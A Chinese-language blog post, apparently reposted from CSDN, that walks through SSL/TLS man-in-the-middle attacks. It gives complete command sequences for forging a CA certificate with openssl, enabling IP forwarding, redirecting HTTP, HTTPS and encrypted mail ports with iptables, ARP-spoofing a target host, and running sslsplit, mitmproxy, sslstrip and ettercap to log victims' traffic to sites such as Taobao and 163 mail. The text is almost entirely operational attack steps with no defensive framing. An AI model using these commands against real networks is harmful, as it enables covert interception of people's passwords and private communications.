SSL,TLS中间人攻击

概念

通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。

攻击者位于通信链路中

  • ARP地址欺骗
  • DHCP
  • 修改网关
  • 修改DNS
  • 修改HOSTS
  • ICMP协议,STP协议,OSPF路由协议

攻击前提

  • 客户端已经信任伪造证书
  • 攻击者控制了核发证书颁发机构
  • 客户端程序禁止了显示证书错误警告信息
  • 攻击者已控制客户端,强制信任伪造证书

解密中间人流量的工具

SSLsplit

  • 透明SSL/TLS中间人攻击工具                                 
  • 对客户端伪装服务器,对服务器伪装成普通客户端              
  • 需要攻击者自己伪造证书                                    
  • 支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击   
  • 浏览器会有“证书不可信”的警告信息

Mitmproxy

  • 只能在8080端口侦听
  • 浏览器会有“证书不可信”的警告信息
  • 默认集成有伪造证书

SSLstrip                                               

  • 与前两种工具不同,将客户端到中间人之间的流量变为明文
  • 与客户端所有的HTTPS连接都用HTTP来代替,同时与服务器建立正常的HTTPS连接

  • 没有“证书不可信”的警告信息,客户端显示的URL会由 https:// 变成 http://

攻击流程

00x0 使用 SSLsplit 

  1. 利用openssl生成证书私钥 ca.key
     openssl genrsa -out ca.key 2048 

             

  2. 利用私钥签名生成证书 ca.crt 
     openssl req -new -x509 -days 1096(有效天数) -key ca.key -out ca.crt
  3. 启动路由         
    sysctl -w net.ipv4.ip_forward=1 
    
    另一种方法:
    
    echo 1 > /proc/sys/net/ipv4/ip_forward
  4. Iptables端口转发规则   
        iptables -t nat -F      #清空所有规则                                                            
    
        #将80端口转发到8080端口侦听    
    
        iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 #http   
    
        #将443,587,465,993,995端口转发到8443端口侦听 
    
        iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https       
    
        iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA   
    
        iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
    
        iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
    
        iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
    
        iptables -t nat -L    #显示所有规则
    
    
  5. Arp欺骗 ,截获目标主机的网络流量
    arpspoof -i eth0 -t 目标IP -r 目标主机网关
  6. 启动SSLsplit     
    mkdir -p test/logdir
    
    #指定密钥和证书,将侦听的信息保存在/root/test/logdir/connect.log里
    
    sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080   
  7. 被害者访问taobao、baidu、mail.163.com 等网站,然后可以去connect.log查看信息了
  8. 也可以用ettercap嗅探
    ettercap -T -q -i eth0

  9. 如果客户端安装服务器根证书之后再次访问 ,就没有“证书不可信”的警告信息了                

00x1 使用 Mitmproxy

  1. 启动路由

  2. Iptables端口转发规则  

    iptables -t nat -F
    
    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
    
    iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --toport 8080
  3. Arp欺骗           

  4. 启动 Mitmproxy        

    mitmproxy -T --host -w mitmproxy.log

                                    

 00x2 使用 SSLstrip

  1. 启动路由
  2. Arp欺骗 
  3. 启动 SSLstrip
    sslstrip -l 8080

00x3 Ettercap 

Ettercap 是一个非常强大的中间人攻击工具,可以感染通信 、删除通信、窃听密码 、为 HTTPS 提供假证书 、实施 DNS 欺骗,使用方法网上有很多教程,本文不再赘述

猜你喜欢

转载自blog.csdn.net/qq_26090065/article/details/81256662